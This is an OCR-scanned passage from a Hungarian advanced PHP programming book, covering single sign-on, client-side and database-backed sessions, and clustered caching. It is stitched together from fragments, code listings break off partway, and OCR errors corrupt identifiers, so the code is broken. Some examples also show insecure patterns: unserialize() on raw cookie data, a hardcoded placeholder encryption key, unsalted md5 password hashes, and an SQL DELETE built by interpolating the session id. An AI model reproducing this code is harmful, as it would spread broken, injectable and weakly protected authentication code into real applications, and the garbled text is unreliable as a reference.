hatnak más hegyeken levőkkel, így az a síbérlet, mellyel egyikük szolgáltatásait igénybe
vehetjük, érvényes lehet máshol is. Ha tehát az egyik központban vásárolt síbérlettel meg-
jelenünk egy másik helyen, az ottani központ is minden további nélkül ad egy felvonóje-
gyet. Gyakorlatilag ez a lényege az egyszeri feliratkozás módszerének.
Gyakran előfordul, hogy egy cég több, különböző név alatt futó webhelyét üzemeltet (kü-
lönböző webhelyek, különböző tartományok - azonos vezetőség). Tegyük fel például,
hogy két áruház felett rendelkezünk, és szeretnénk, hogy a felhasználók adatai az egyik-
ből automatikusan átkerüljenek a másikba is, így ne kelljen feleslegesen kétszer ugyan-
azokat az űrlapokat kitölteniük. A sütik a tartományokhoz kötődnek, így nem alkalmaz-
hatjuk az egyik tartomány sütijeit a felhasználó hitelesítésére egy másikban.
368 PHP fejlesztés felsőfokon
A 13.1. ábrán láthatjuk, mi történik, amikor a felhasználó elsőként belép egy osztott hite-
lesítésű rendszer valamelyik webhelyére.
13.1. ábra
Kezdeti belépés az egyszeri feliratkozásos rendszerbe.
13.2. ábra
Az egyszeri feliratkozásos rendszer működése az első belépés után.
A folyamat első része megegyezik a 13.1. ábrán bemutatottal - annyi különbséggel, hogy
amikor az ügyfél kérelmet küld a www. singlesignon.com címre, most már átadja a ko-
rábban a 6. lépésben készített sutit is. Lássuk e folyamat lépéseit:
nyekkel rendelkezik. Persze, ha már volt külső mcrypt burkoló könyvtárunk, melynek
használatát megszoktuk, ezt is behelyettesíthetjük.
class SingleSignOn {
protected $cypher = 'blowfish1;
protected $mode = 'c f b ' ;
protected $key = 'choose a better key';
protected $td;
protected $client;
protected $authserver;
protected $userid;
public $originating_uri;
Nos, ez egy kissé hosszadalmas, ezért hát visszatérhetünk jól bevált módszerünkhöz, és
bővíthetjük az osztályt, megadva tulajdonságait:
Most módosítanunk kell általános hitelesítési burkolónkat, hogy ne csak azt ellenőrizze,
a felhasználó rendelkezik-e sütivel, hanem azt is, hogy kapott-e hitelesített választ a hite-
lesítő kiszolgálótól:
function check_auth() {
try {
$cookie = new CookieO;
$cookie->validate();
}
catch(AuthException $e) {
try {
$client = new SingleSignOn();
$client->process_auth_response($_GET['response']);
$cookie->userid = $client->userid;
$cookie->set();
}
catch(SignOnException $e) {
$client->originating_uri = $_SERVER['REQUESTJJRI'];
$client->generate_auth_request();
// mivel egy 302-es átirányítást küldtünk,
// minden más műveletet leállíthatunk
exit ;
}
}
}
üzenetet küld a felhasználónak. Ezután megkísérlünk beolvasni egy sutit a hitelesítő ki-
szolgáló számára. Amennyiben ez létezik, már találkoztunk ezzel a felhasználóval, így
megkereshetjük az azonosítója alapján (a check_credentialsFromCookie-ban). Ez-
után, feltételezve, hogy a felhasználó a kérelmező tartományhoz igényelte a hitelesítést,
visszaküldhetjük oda, ahonnan érkezett, egy érvényes hitelesítési válasszal. Amennyiben
nem találunk érvényes sutit (akár azért, mert a felhasználó nem rendelkezik ilyennel, akár
azért, mert lejárt), visszakerülünk a bejelentkezési űrlapra.
class CentralizedAuthentication {
function check_credentials($name, $password, $client) {
$dbh = new DB_Mysql_Prod();
$cur = $dbh->prepare("
SELECT
userid
FROM
ss_users
WHERE
name = : 1
AND password = :2
AND client = :3")->execute($name, md5($password), $client);
$row = $cur->fetch_assoc();
if($row) {
$userid = $row['userid'];
}
else {
throw new SignonException("user is not authorized");
}
return $userid;
}
i f(!$row) {
throw new SignonException("user is not authorized");
}
}
}
Nagyszerű, elkészítettünk tehát egy teljes, jól működő egyszeri feliratkozásos rendszert.
Ez a tudás a jövőben sok esetben hasznunkra lehet, hiszen a cégek kapcsolatainak szapo-
rodásával a hitelesítés kiterjesztése egyre fontosabbá válik.
További olvasmányok
Az egyszerű HTTP-hitelesítés rendszere és a PHP kapcsolatáról Luké Welling és Laura
Thomson PHP and MySQL Web Development című könyvében olvashatunk. Az egyszerű
hitelesítés szabványát az RFC 2617 adja meg (www. ietf .org/rf c/rf c2617 .txt).
Egyetlen programozó könyvtára sem lehet teljes Bruce Schneier Applied Cryptogmphy cí-
mű könyve nélkül, melyet csak az alkalmazott kriptográfia bibliájaként emlegetnek. Hihe-
tetlenül átfogó, és minden ismertebb titkosítási módszert behatóan tárgyal. Egy újabb
könyve, a Secrets and Lies: Digital Security in a Networked World napjaink digitális biz-
tonsági rendszereinek technikai és egyéb hiányosságaival foglalkozik.
Avi Rubin és Dávid Kormann érdekes cikke az egyszeri feliratkozásos rendszer kockázata-
iról (Risks ofthe Passport Single Signon Protocol) a következő címen található meg:
http://avirubin.com/passport.html
Munkamenetek kezelése
A 13. fejezetben a felhasználók munkameneteinek hitelesítéséről ejtettünk szót. Amellett
azonban, hogy meg szeretnénk győződni az egymás utáni kérelmek közös eredetéről,
gyakran a felhasználó állapotadatait is meg kívánjuk őrizni a kérelmek között. Bizonyos
alkalmazásoknak - így az elektronikus bevásárlókocsiknak és egyes játékoknak - szüksé-
gük van az állapotok megőrzésére. Mindazonáltal, az állapotok ennél sokkal szélesebb
körben használatosak.
<?php
$MY_SESSION =
unserialize(stripslashes($_COOKIE['session_cookie']));
$MY_SESSION['count' ] ++;
setcookie("session_cookie", serialize($MY_SESSION),
time() + 3 6 0 0 ) ;
?>
You have visited this page <?= $MY_SESSION['count' ] ?> times.
Set-Cookie:
session_cookie=a%3Al%3A%7Bs%3A5%3A%22count%22%3Bi%3Al%3B%7D;
expires=Mon, 03-Mar-2003 0 7 :0 7 :1 9 GMT
a: 1:{s:5:"count";i:1;}
A felhasználóknak természetesen nem jelent nehézséget az, hogy saját sütijeikben a fenti
értékek bármelyikét megváltoztassák. Ezekben a példákban ez nem okozna semmiféle
gondot, de az alkalmazások többségében nem szeretnénk megadni e módosítás lehetősé-
gét. Ezért ha ügyfél oldali munkameneteket használunk, minden esetben titkosítanunk
kell a munkamenetek adatait. A 13- fejezetben megismert titkosító függvények tökélete-
sen megfelelnek e célnak.
<?php
// Encryption.inc
class Encryption {
static $cypher = 'blowfish';
static $mode = 'cfb';
static $key = 'choose a better key' ;
return $plaintext;
}
}
?>
<?php
include_once 'Encryption.inc';
$MY_SESSION = unserialize(
stripslashes(
Encryption::decrypt($_COOKIE['session_cookie'])
)
);
$MY_SESSION['count' ] ++ ;
setcookie("session_cookie",
Encryption::encrypt(serialize($MY_SESSION)),
time() + 3600);
?>
• Alacsony háttérterhelés - Munkám során egy általános irányelvhez mindig tartom ma-
gam - soha nem használok adatbázist, ha erre nincs feltétlenül szükség. Az adatbá-
zisrendszerek elosztása nehéz, méretezésük költséges, és gyakran válhatnak szűk
keresztmetszetté. A munkamenetek adatai jobbára rövid ideig érvényesek, így
olyan hosszú távú tárolási eszköz, mint egy adatbázis-kezelő rendszer használata
esetükben megkérdőjelezhető.
• Könnyű alkalmazhatóság elosztott rendszerek esetében - Mivel a munkamenet minden
adata a kérelemben található, ez a módszer könnyen kibővíthető több gépből álló
fürtökre is.
• Könnyű alkalmazhatóság nagy számú ügyfél esetén is - A munkamenetek állapotainak
ügyfél oldali kezelése nagyszerű módszer az ügyfelek számának növelése szem-
pontjából is. Jóllehet szükségünk lesz további kapacitásra a forgalomnövekedés ki-
elégítésére, de magukat az ügyfeleket újabb költségek nélkül beilleszthetjük
a rendszerbe. A munkamenetek nagy mennyiségű adatának feldolgozása teljesen
az ügyfelekre hárul, és olyan egyenletesen oszlik el, hogy az egyes ügyfelek terhe-
lése minimális.
382 PHP fejlesztés felsőfokon
• Nem igazán alkalmasak nagy mennyiségű adat átvitelére -Jóllehet szinte minden böngé-
sző támogatja a sütiket, rendelkeznek valamilyen belső korlátozással ezek méretére
nézve. A gyakorlatban ez a korlát valahol 4 KB felett van. Mindazonáltal, még a 4
KB-os sütik is nagynak számítanak. Ne feledjük, ez a süti minden olyan kérelemmel
átmegy, ami a sütihez tartozó tartományba tart, illetve az útvonalán halad. Mindez
érezhetően lelassíthatja az adatátvitelt kis sebességű vagy nagy késleltetésű kapcso-
latokban, és akkor még nem is szóltunk a sávszélesség-veszteségről. Jómagam egy-
fajta „lágy" 1 KB-os korlátozást használok az alkalmazásaimban használt sütiknél.
Ez a méret még kezelhető, ugyanakkor elegendő adatot tárolhatunk benne.
• Nehéz újrahasznosítani az adatokat a munkamenet környezetén kívül - Mivel az adatokat
a rendszer csak az ügyfél oldalon tárolja, nem érhetjük el azokat, ha a felhasználó
nem intéz kérelmet hozzánk.
• A kimenet elkészítése előtt minden munkameneti adatot rögzítenünk kell - Mivel a sütiket még
azelőtt át kell küldeni az ügyfélnek, mielőtt bármilyen tartalmat átadnánk, az adatátvi-
telt megelőzően be kell fejeznünk a munkameneti módosításokat, és meg kell hív-
nunk a setcookie () tagfüggvényt. Természetesen ha átmeneti tárolást alkalmazunk
a kimenetre, ez a korlátozás nem áll fenn, így a sütiket bármikor beállíthatjuk.
A példa továbbfejlesztése
Ahhoz, hogy ügyfél oldali munkameneteink valóban hasznosíthatók legyenek, készíte-
nünk kell köréjük egy elérési könyvtárat. íme egy példa:
// cs_sessions.inc
require_once 'Encryption.inc';
function cs_session_read($name='MY_SESSION') {
global $MY_SESSION;
$MY_SESSION =
unserialize(Encryption::decrypt(stripslashes($_COOKIE[$name])));
}
function cs_session_write($name='MY_SESSION', $expiration=3600) {
global $MY_SESSION;
setcookie($name, Encryption::encrypt(serialize($MY_SESSION)),
time() + $expiration);
}
function cs_session_destroy($name) {
global $MY_SESSION;
setcookie($name, "", 0);
}
14. fejezet • Munkamenetek kezelése 383
<?php
include_once 'cs_sessions.inc';
cs_session_read();
$MY_SESSION [ ' count' ] ++;
cs_session_write();
?>
You have visited this page <?= $MY_SESSION['count'] ?> times.
Annak biztosítása, hogy az ügyfél adatai mindenhol elérhetők legyenek, ahol szükség van
rájuk, egy alapvető hátránnyal jár: igen sok erőforrást használ fel. A munkameneti gyors-
tárak természetüknél fogva jobbára kérelmenként frissülnek, így egy olyan rendszerben,
ahol másodpercenként 100 kérelem érkezik be, megfelelő tárolási módszerre is szükség
van. 100 frissítés és kiolvasás másodpercenként nem jelenthet gondot a legtöbb korszerű
adatbázis-kezelő számára, de ha ezt a számot 1000-re növeljük, sokuk már nem tud meg-
birkózni a feladattal. Még ha többszörözést is használunk e megoldásoknál, akkor sem
nyerünk túl sokat a méretezhetőség terén, mivel az adattorlódást valójában a munkame-
netek frissítése, nem pedig kiolvasása okozza - és mint a korábbiakban megtanulhattuk,
a beillesztési és frissítési műveletek többszörözése sokkal nehezebb, mint a kiolvasási mű-
veletek elosztása. Ez persze nem kell, hogy elvegye kedvünket az adatbázis hátterű mun-
kamenetektől. Számos alkalmazás valószínűleg nem is nő olyan méretűre, hogy ez gon-
dot jelenthetne, és felesleges valamilyen nem méretezhető megoldást elutasítanunk, ha
egyébként nincs szándékunkban növelni. Jó, ha tudunk ezekről a lehetőségekről, így
nyugodtan programozhatunk az esetleges korlátozások szem előtt tartásával.
• a sütik használatát,
• a lekérdezési karakterláncok csatolását.
A sütik alkalmazása esetén a munkameneti azonosítóhoz egy külön sutit készítenek. En-
nek neve alapértelmezés szerint PHPSESSIONID, típusát tekintve pedig munkameneti süti
(ez azt jelenti, hogy lejárati ideje 0, vagyis ha a böngészőt kikapcsolják, automatikusan
megsemmisül). A sütik támogatását a php. ini állomány következő beállításával érhetjük
el (alapállapotban bekapcsolt):
session.use_cookies=l
A lekérdezési karakterlánc csatolásánál a rendszer a dokumentumban található címkékhez
automatikusan nevesített változókat rendel. A lekérdezések csatolása alapállapotban kikap-
csolt, de ezt megváltoztathatjuk, ha alkalmazzuk a következő beállítást a php. ini fájlban:
session.use_trans_sid=l
Ez esetben a trans_sid az angol „transparent session ID", vagyis rejtett munkamenet-
azonosító név rövidítéseként szerepel, mivel bekapcsolása esetén a rendszer automatiku-
san átírja a címkéket. így például, ha bekapcsoljuk a use_trans_id beállítást, az alábbi
kódrészletből
<?php
session_start();
?>
<a href="/foo.php">Foo</a>
ez lesz:
<a href="/foo.php?PHPSESSIONID=12345">foo</a>
386 PHP fejlesztés felsőfokon
A munkamenet-azonosítók süti alapú követése több okból is jobb módszer, mint a lekér-
dezési karakterláncok csatolása. Ezekről már a 13. fejezetben is szót ejtettünk:
• Biztonság - Könnyen előfordulhat, hogy egy felhasználó véletlenül elküld egy barát-
jának egy URL-t munkamenetének aktuális azonosítójával, ami a munkamenet
szándékolatlan eltérítéséhez vezethet. Előfordulhatnak olyan támadások is, ame-
lyek hasonló módszerekkel ráveszik a felhasználót, hogy egy hamis munkamenet-
azonosítót hitelesítsen.
• Esztétikusság - Újabb paraméter hozzáadása a lekérdezési karakterlánchoz meglehe-
tősen csúnya, vad kinézetű URL-eket eredményez.
session.name=MYSESSIONID
Léteznek persze emellett más paraméterek is, melyeknek nagy hasznát vesszük a süti ala-
pú munkamenet-kezelés beállításában:
<?php
session_start();
if(isset($_SESSION['viewnum'])) {
$_SESSION['viewnum' ] ++;
} else {
$_SESSION['viewnum'] = 1;
}
?>
<html>
<body>
Hello There.<br>
This is <?= $_SESSION['viewnum'] ?> times you have seen a page on
this site.<br>
</boűy>
</html>
Előfordulhat az is, hogy végképp le akarunk zárni egy munkamenetet. Például egy bevá-
sárlókocsi-kezelő alkalmazásnál, ami több munkameneti változó segítségével követi nyo-
mon a kocsi tartalmát, a felhasználó kijelentkezése után ki kell ürítenünk a kocsit, és meg
kell semmisítenünk a munkamenetet. Mindezt az alapértelmezett kezelőkkel két lépésben
tehetjük meg:
A 14.1. ábrán láthatjuk, miként viselkedik a munkameneti bővítmény egy általános hely-
zetben. A munkamenet-kezelő elindul, előkészíti az adatokat, végrehajtja a szemétgyűjtést
és beolvassa a felhasználó munkameneti adatait. Ezt követően a rendszer végrehajtja az
14. fejezet • Munkamenetek kezelése 389
14.1. ábra
A munkamenet-kezelő működése.
$cookie->validate();
session_id($cookie->userid);
session_start();
}
catch (AuthException $e) {
header("Location:
/login.php?originating_uri=$_SERVER['REQUEST_URI']");
exit;
}
if(isset($_SESSION['viewnum'])) {
$_SESSION['viewnum']+ + ;
} else {
$_SESSION['viewnum'] = 1;
}
?>
<html>
<body>
Hello There.<br>
This is <?= $_SESSION['viewnum'] ?> times you have seen a page on
»» this site.<br>
</body>
</html>
Figyeljük meg, hogy itt a munkamenet-azonosítót még azelőtt beállítjuk, hogy meghívnánk
a session_start () függvényt. Erre szükség van a munkameneti bővítmény helyes mű-
ködéséhez. Példánk jelenlegi állapotában felhasználónk azonosítója egy sütiben (illetve le-
kérdezési karakterláncban) kerül a válaszba. Ennek elkerülésére le kell tiltanunk mind
a sütik használatát, mind a lekérdezési karakterláncok csatolását a php. ini állományban:
session.use_cookies=0
session.use_trans_sid=0
session.use_only_cookies=l
Megjegyzés
Jóllehet mindezt a 13. fejezetben részletesen tárgyaltuk, sosem árt megismételni: hacsak
nem vagyunk teljes mértékben meggyőződve arról, hogy munkameneteinket nem lehet
eltéríteni, illetve feltörni, mindig ügyelnünk kell adataik hatékony titkosítására. Csak vesz-
tegetjük az időnket, ha sütink adatain a R0T13-at használjuk. Valamilyen jól bevált szim-
metrikus titkosítót - mint a Triple DES, az AES vagy a Blowfish - kell alkalmaznunk.
Ez nem üldözési mánia - a józan ész is ezt diktálja.
session.save_handler='files'
Hasonló módszerekkel már találkozhattunk a 9., 10. és 11. fejezetekben. Ezek nagyszerűen
működnek, ha egy gépet használunk, de teljesítményük romlik, ha fürtökön futtatjuk őket.
Persze, hacsak nem valamilyen egyszerű összeállítással dolgozunk, valószínűleg nem fogunk
kizárólag a beépített kezelőkre hagyatkozni. Szerencsére rendelkezésünkre állnak horgok
a user_space munkemenet-kezelőhöz, ami lehetővé teszi, hogy megvalósítsuk saját mun-
kameneti tárolófüggvényeinket a PHP-ben. Beállításukra a session_set_save_handler
ad lehetőséget, Ha elosztott munkameneteket szeretnénk alkalmazni, amelyek nem épülnek
ragadós kapcsolatokra, magunknak kell megvalósítanunk őket. A felhasználói munkame-
net-kezelők a következő hat egyszerű tárolási művelet hívásaira épülnek:
• open
• close
• reád
392 PHP fejlesztés felsőfokon
• write
• destroy
• gc
14.2. ábra
A 14.1. ábra új változatában láthatjuk, milyen szerepet kapnak az egyes hívások
a munkamenet életében.
14. fejezet • Munkamenetek kezelese 393
class MySession {
static $dbh;
function close() {
return(true);
}
countIi:5 ;
394 PHP fejlesztés felsőfokon
<?php
$count = 5;
print serialize($count) ;
?>
function read($id) {
$result = MySession::$dbh->prepare("SELECT session_data
FROM sessions
WHEREsession_id = :1")->execute($i d);
$row = $result->fetch_assoc();
return $row['session_data'];
}
nak kiürítésére is. Akár a megsemmisítő függvényben, akár utána tesszük ezt meg, min-
denképpen létfontosságú lépés, hiszen csak így kerülhetjük el, hogy a munkamenetek au-
tomatikusan újraképződjenek.
function destroy($id) {
MySession::$dbh->execute("DELETE FROM sessions
WHERE session_id = '$i d' " );
$_SESSION = arrayO;
}
function gc($maxlifetime) {
$ts = time() - $maxlifetime;
MySession::$dbh->execute("DELETE FROM sessions
WHERE modtime <
from_unixtimestamp($ts)");
}
}
Szemétgyűjtés
A szemétgyűjtés valóban nehéz feladat. A túlzottan erélyes szemétgyűjtési módszerek sok
erőfonást emészthetnek fel, a túl gyengék esetében pedig hamar megtelhet a gyorstár. Amint
a korábbiakban láthattuk, a munkameneti bővítmény a szemétgyűjtést a save_handlers
gc függvény gyakori hívásával oldja meg. Egy egyszerű valószínűségi algoritmus segít abban,
hogy a felesleges munkameneteket - még a fiatalokat is - begyűjtsük.
$dir = opendir($cachedir) ;
while(($file = readdir($dir)) !== falsé) {
if(strncmp("sess_", $file, 5)) { continue;
}
if($now - filemtime($cachedir."/".$file) > $maxlifetime) {
unlink($cachedir."/".$file),-
}
}
}
A gondot az okozza, hogy számos ki-, illetve bemeneti műveletet kell végeznünk a gyors-
tár könyvtárán. E könyvtár gyakori átnézése pedig komoly versenyt eredményezhet a kü-
lönböző folyamatok között.
Szemétgyűjtés az mm kezelőben
A files kezelő szemétgyűjtési módszerével szemben az mm kezelőé meglehetősen gyors.
Mivel minden adat az osztott memóriában található, egyszerűen zárolni kell a memória-
szegmenst, visszaírni a munkamenet aktuális adatait a memóriába, az elavultakat pedig
törölni.
Mi is az a fürt?
Fürtnek olyan gépek csoportját nevezzük, melyeket azonos célra alkalmazunk. Hasonló-
képpen, egy alkalmazás, illetve szolgáltatás fürtözött, ha bármelyik részét egynél több ki-
szolgáló támogatja.
A 15.1. ábrán látható összeállítás - bár több gép szerepel rajta - nem felel meg ennek
a meghatározásnak, mivel minden gép egyedi szereppel rendelkezik, melyet egyetlen tár-
sa sem tölthet be. A 15.2. ábrán viszont egy egyszerű fürtözött szolgáltatást találunk. Itt
két felületi (front-end) gép látható, melyek terhelését forgató DNS (round-robin DNS)
egyenlíti ki. Mindkét webkiszolgáló azonos tartalmat szolgáltat.
Annak, hogy egy webhelyét egynél több webkiszolgálóra építsünk, általában véve két
oka lehet:
15.2. ábra
Egyszerű fürtözött szolgáltatás.
15.3. ábra
Egy túlságosan bonyolult alkalmazásszerkezet.
402 PHP fejlesztés felsőfokon
Persze nem mindig rossz dolog, ha 10 különböző fürt áll rendelkezésre a szolgáltatások
számára. Ha például naponta több millió oldalt szolgáltatunk, ez lehetővé teszi, hogy ha-
tékonyan elosszuk forgalmunkat a fürtökben. A gondok akkor jelentkeznek, amikor rend-
szerünk hihetetlenül erőforrásigényes, de naponta csak 100 000 vagy 1 000 000 oldalt
szolgáltatunk. Ilyenkor kénytelenek vagyunk egy hatalmas gépezetet fenntartani., mely-
nek ugyanakkor csak a töredékét tudjuk kihasználni. A hálózati programozás birodalma
telis-tele van rosszul felépített és kevéssé kihasznált rendszerekkel. Ezek amellett, hogy
rengeteg hardveres erőforrást pocsékolnak el, a fenntartás terén is tetemes költséggel jár-
nak. Könnyű persze a cégek hibáit okolni a tévutakért és a rossz gondolatokért, de sosem
szabad elfelejtenünk, hogy az 5 millió dolláros adatközpontok nem mutatnak jól a költ-
séglistán. Hálózati rendszertervezőként mindig úgy éreztem, hogy feladatom nemcsak
a könnyen méretezhető rendszerek kiépítése, hanem az is, hogy olyan alkalmazásokat
tervezzek, melyek a lehető legtöbb hasznot hozzák.
Ennyi figyelmeztetés talán elég is volt, most inkább lássuk, miként osszuk különböző
szolgáltatásainkat fürtökbe.
Fürtök tervezése
Első lépésként - függetlenül attól, mik a későbbi terveink - meg kell győződnünk arról,
hogy alkalmazásunk egyáltalán képes-e működni fürtözött környezetben. Ahányszor csak
előadást tartok egy-egy konferencián, mindig akad valaki, aki arról érdeklődik, mi a titka
a fürtözött alkalmazások készítésének. Nos, a nagy titok az, hogy nincs titok. A fürtökön
is futni képes alkalmazások készítése nem mondható szörnyen bonyolultnak.
15. fejezet • Elosztott környezet kiépítése 403
• Soha ne használjunk fájlokat dinamikus adatok tárolására, hacsak ezek nem elérhe-
tők a fürt minden tagja számára (az NFS, Samba, vagy más fájlrendszerekben).
• Soha ne használjunk DBM-eket dinamikus adatok tárolására.
• Soha ne követeljük meg, hogy egymást követő kérelmek hozzáférjenek ugyanah-
hoz az erőforráshoz. így például azt megkívánni, hogy az egymás utáni kérelmek
ugyanazt az adatbázis-kapcsolatot használják, nem helyes, de ha azt követeljük
meg, hogy ezek a kérelmek ugyanazzal az adatbázissal alakítsanak ki kapcsolatot,
az már alkalmazható módszer.
Fő az előrelátás
A fürtök alkalmazásának egyik legfontosabb oka, hogy megpróbálunk védekezni az
egyes elemek meghibásodása ellen. Ez nem üldözési mánia - a webes fürtöket gyakran
építik fel tömeggyártású elemekből. Ezek gyakorlatilag ugyanazok a hardverkomponen-
sek, mint amiket az asztali számítógépekben is használunk, esetleg állványra szerelt ház-
ban, komolyabb tápegységgel, vagy kiszolgáló típusú BlOS-szal. A tömeggyártásban ké-
szült eszközök jellemzően gyengébb minőségellenőrzéssel készülnek, hibatűrésük pedig
kisebb. így a komolyabb, vállalati rendszerekkel szemben a tömeggyártású gépek kisebb
eséllyel képesek kivergődni egy olyan helyzetből, amikor egy processzor vagy memória-
kártya meghibásodik.
A tanulság az, hogy a tömeggyártású gépek elromolhatnak, és minél többet használunk be-
lőlük, annál gyakrabban találkozunk ilyen meghibásodásokkal - következésképpen alkal-
mazásunk tervezésében ezt mindenképpen számításba kell vennünk. íme néhány jó tanács:
• Soha nem szabad megkövetelnünk, hogy az ügyfél munkamenete egy adott kiszol-
gálóhoz kötődjön - még akkor sem, ha terheléskiegyenlítőnk támogatja ezt a lehe-
tőséget. Hasznos lehet persze, ha a kiszolgálók, illetve az ügyfelek kötődnek egy-
máshoz a gyorstár hatékonysága érdekében, de az ügyfél munkamenetének nem
szabad megszakadnia, ha egy kiszolgáló kikapcsolódik.
Csapatjáték
Rendszerünket az összjátékra, nem pedig a kizárólagosságra kell építenünk. Az alkalma-
zások éppoly gyakran zsugorodnak, mint amilyen gyakran növekednek - nem szokatlan,
hogy egy projekt túltervezett, és több hardvereszközt használ, mint amennyire valójában
szüksége van (így egyúttal nagyobb tőkeerőre van szüksége, és fenntartási költsége ma-
gasabb). A rendszer szerkezete sokszor lehetetlenné teszi, hogy több szolgáltatást egyet-
len gépre helyezzünk. Az ilyen helyzet közvetlenül megsérti a méretezhetőség alapköve-
telményét, amely lehetővé teszi mind a növekedést, mind a zsugorodást.
A függvények névterei
Erről a kérdésről már szóltunk korábban, és akkor sem ok nélkül: A függvények, osztá-
lyok és globális változónevek esetében a helyes névterek használata létfontosságú a nagy-
méretű alkalmazások tervezésénél, hiszen ez az egyetlen módszer, mellyel elkerülhetjük
a szimbólumok neveinek ütközését.
function displayError($entry) {
II... a webnapló hibamegjelenítő függvénye
}
function displayError($entry) {
II... általános hibamegjelenítő függvény
}
Nyilvánvaló, hogy ha ezeket együtt használom egy projektben, gondjaim adódnak, mivel
függvény-újrameghatározási hibák keletkeznek. Ahhoz, hogy együtt is működhessenek, vala-
15. fejezet • Elosztott környezet kiépítése 405
melyikük nevét meg kell változtatnom, ami ugyanakkor a tőle függő kódok módosítását is
maga után vonja. Sokkal jobb megoldás, ha előre gondolunk erre a lehetőségre, és külön
névterekben helyezzük el ezeket a függvényeket - akár osztályok statikus tagfüggvényeiben:
class webblog {
static function displayError($entry) {
//.. .
}
}
class Common {
static function displayError($entry) {
//. . .
}
}
function webblog_displayError($entry) {
//. ..
}
function Common_displayError($entry) {
//. . .
}
Akárhogy is járunk el, ha kezdettől így védjük a szimbólumok neveit, elejét vehetjük az
ütközéseknek, és elkerülhetjük az ilyenkor általában szükséges jelentős módosításokat.
Az erőforrások névterei
Amennyiben fájlrendszerbeli erőforrásokat használunk (például gyorstárfájlok tárolására),
szolgáltatásunk nevét bele kell építenünk a fájl útvonalába, hogy biztosítsuk, nem ütközünk
más szolgáltatások gyorstáraival és viszont. Ez a gyakorlatban azt jelenti, hogy a /cache/
könyvtár helyett mondjuk a /cache/www. f oo . com/ könyvtárba írjuk fájljainkat.
406 PHP fejlesztés felsőfokon
Azt azonban már nehezebb feladat elérni, hogy egy fürt minden gépén egyszerre történje-
nek meg a változások. Szerencsére ilyesmire ritkán van szükség. Nem jelent különösebb
gondot, ha van két egyidejű kérelmünk, melyek egyike új, a másik pedig régi kódot futtat,
amíg a teljes frissítés időtartama rövid, és az egyes oldalak önmagukban helyesen működ-
nek (akár a régi, akár az új viselkedést kövessék).
Ha atomi átállásra van szükség, az egyik megoldás, hogy adott alkalmazás webkiszolgálói-
nak felét kikapcsoljuk, hibakezelő segédeszközünk pedig átirányítja a forgalmat a működő
csomópontokra. A forgalomból kivont csomópontokat frissíthetjük, a kiszolgálókat újraindít-
hatjuk, mialatt az e csomópontokra mutató terheléskiegyenlítő szabályokat továbbra is ki-
kapcsolva tartjuk. Amikor az összes csomópontunk működőképessé vált, a terheléskiegyen-
lítési szabályokat átirányíthatjuk az újra beindított kiszolgálókra, és befejezhetjük a frissítést.
Vízszintes méretezés
A vízszintes méretezhetőség a rendszertervezők közösségének divatos kifejezése. Ha egy
rendszer rendelkezik ezzel a tulajdonsággal, akkor kapacitása lineárisan változik - vagyis
kétszeres terhelésnek kétszeres erőforrás-felhasználás árán képes megfelelni. Első látásra
ez nem tűnik különleges dolognak; hiszen magunk építettük fel az alkalmazást - mi aka-
dályozhatja meg, hogy legrosszabb esetben ismét felépítsük, ezúttal megkétszerezve a ka-
pacitását? Sajnálatos módon a tökéletes vízszintes méretezhetőség az alábbi okokból szin-
te soha nem érhető el:
• Szerzett vagy külső gyártó által készített alkalmazások halmazai - Sok olyan környezet lé-
tezik, ahol muszáj bizonyos alkalmazásokat külön futtatnunk, mivel például örök-
ségként jutottunk hozzájuk, és így más feltételekre van szükség a működtetésük-
höz. Elképzelhető, hogy szükségük van a mod_python vagy a mod_perl modulra
is. Mindez gyakran a hibás tervezésre vezethető vissza - sokszor megesik, hogy
a fejlesztő a céges környezetet tekinti próbaterepnek új gondolatok és új nyelvek
vizsgálatához. Vannak azonban olyan esetek is, amikor mindezt nem lehet elkerül-
ni - például ha az alkalmazást eleve megkapjuk, de vagy védjegyes, vagy PHP-beli
megvalósítása túlzott költségekkel jár.
• Az adatbázis-használat feldarabolása - Amint a fejezet későbbi részében, az Adatbázis-
ok méretezése címszónál láthatjuk, ha az alkalmazás különösen nagyra nő, az adat-
bázis-kezelő kódot érdemes több részre bontanunk, melyek az alkalmazás külön-
böző, egymástól független részeit szolgálhatják.
• Igen nagy alkalmazások - Hasonlóan az étteremhez, amely saját pékséget nyit péksüte-
ményei népszerűsége következtében, ha alkalmazásunk elegendően nagyra nő, ér-
demes lehet különböző, könnyebben kezelhető részekre bontani. Nincs olyan kép-
let, melynek segítségével eldönthetnénk, mikor kerüljön erre sor, de arra mindenkép-
pen érdemes emlékeznünk, hogy a hardverhibák kiküszöbölésére az alkalmazásnak
legalább két gépen kell futnia. Ezért hát jómagam soha nem darabolom fel az alkal-
mazást, míg teljes mértékben ki nem tudom használni két kiszolgáló erőforrásait.
Képzeljük el, hogy van két gépünk - az A és a B kiszolgáló -, melyek tárolt honlapokat
szolgáltatnak. Kérelmek érkeznek Joe Random honlapjára, amely megtalálható tárolt vál-
tozatban mind az A, mind a B kiszolgálón (lásd a 15.4. ábrát).
Most Joe gondol egyet, és frissíti a honlapját. A frissítési kérelem az A kiszolgálóhoz érke-
zik, így az oldal új változata itt jelenik meg (lásd a 15.5. ábrát).
Ennyi, és nem több az, amit az eddig megismert gyorstárolási módszerek nyújtanak. Joe
honlapjának tárolt változatát a frissítés helyén (az A kiszolgálón) érvénytelenítettük, de
a B kiszolgálón továbbra is van egy másolat, melyről B nem tudja, hogy elavult (lásd
a 15.6. ábrát). így megszakad az összhang az adatok között - szükség van tehát egy olyan
módszerre, amely képes kezelni ezt a helyzetet.
15. fejezet • Elosztott környezet kiépítése 409
15.4. ábra
Több gépen tárolt kérelmek.
15.5. ábra
Egyetlen frissítéssel elveszhet a gyorstárak összhangja.
410 PHP fejlesztés felsőfokon
15.6. ábra
Az elavult gyorstárbeli adatok megbonthatják a fürt gépeinek összhangját.
A munkamenetek tárolt adatainál hasonló gondok merülnek fel. Joe Random meglátogat
egy internetes áruházat, és árucikkeket helyez a bevásárlókocsijába. Ha a kocsi adatainak
tárolását a munkameneti bővítés helyi fájlokra alapozza, ahányszor csak más kiszolgálóhoz
kerül, Joe mindig más és más állapotban látja viszont bevásárlókocsiját (lásd a 15.7. ábrát).
15.7. ábra
A munkamenetek tárolt adatainak összhangja megbomlik, így a bevásárlókocsik használhatatlan-
ná válnak.
Központosított gyorstárak
A gyorstárak összehangolásának egyik legegyszerűbb és legelterjedtebb módszere egy
központi gyorstár használata. Ha a résztvevők ugyanazokat a gyorstárfájlokat használják,
az elosztott tárolást övező aggodalmak legtöbbje eloszlik (alapjában véve azért, mert ma-
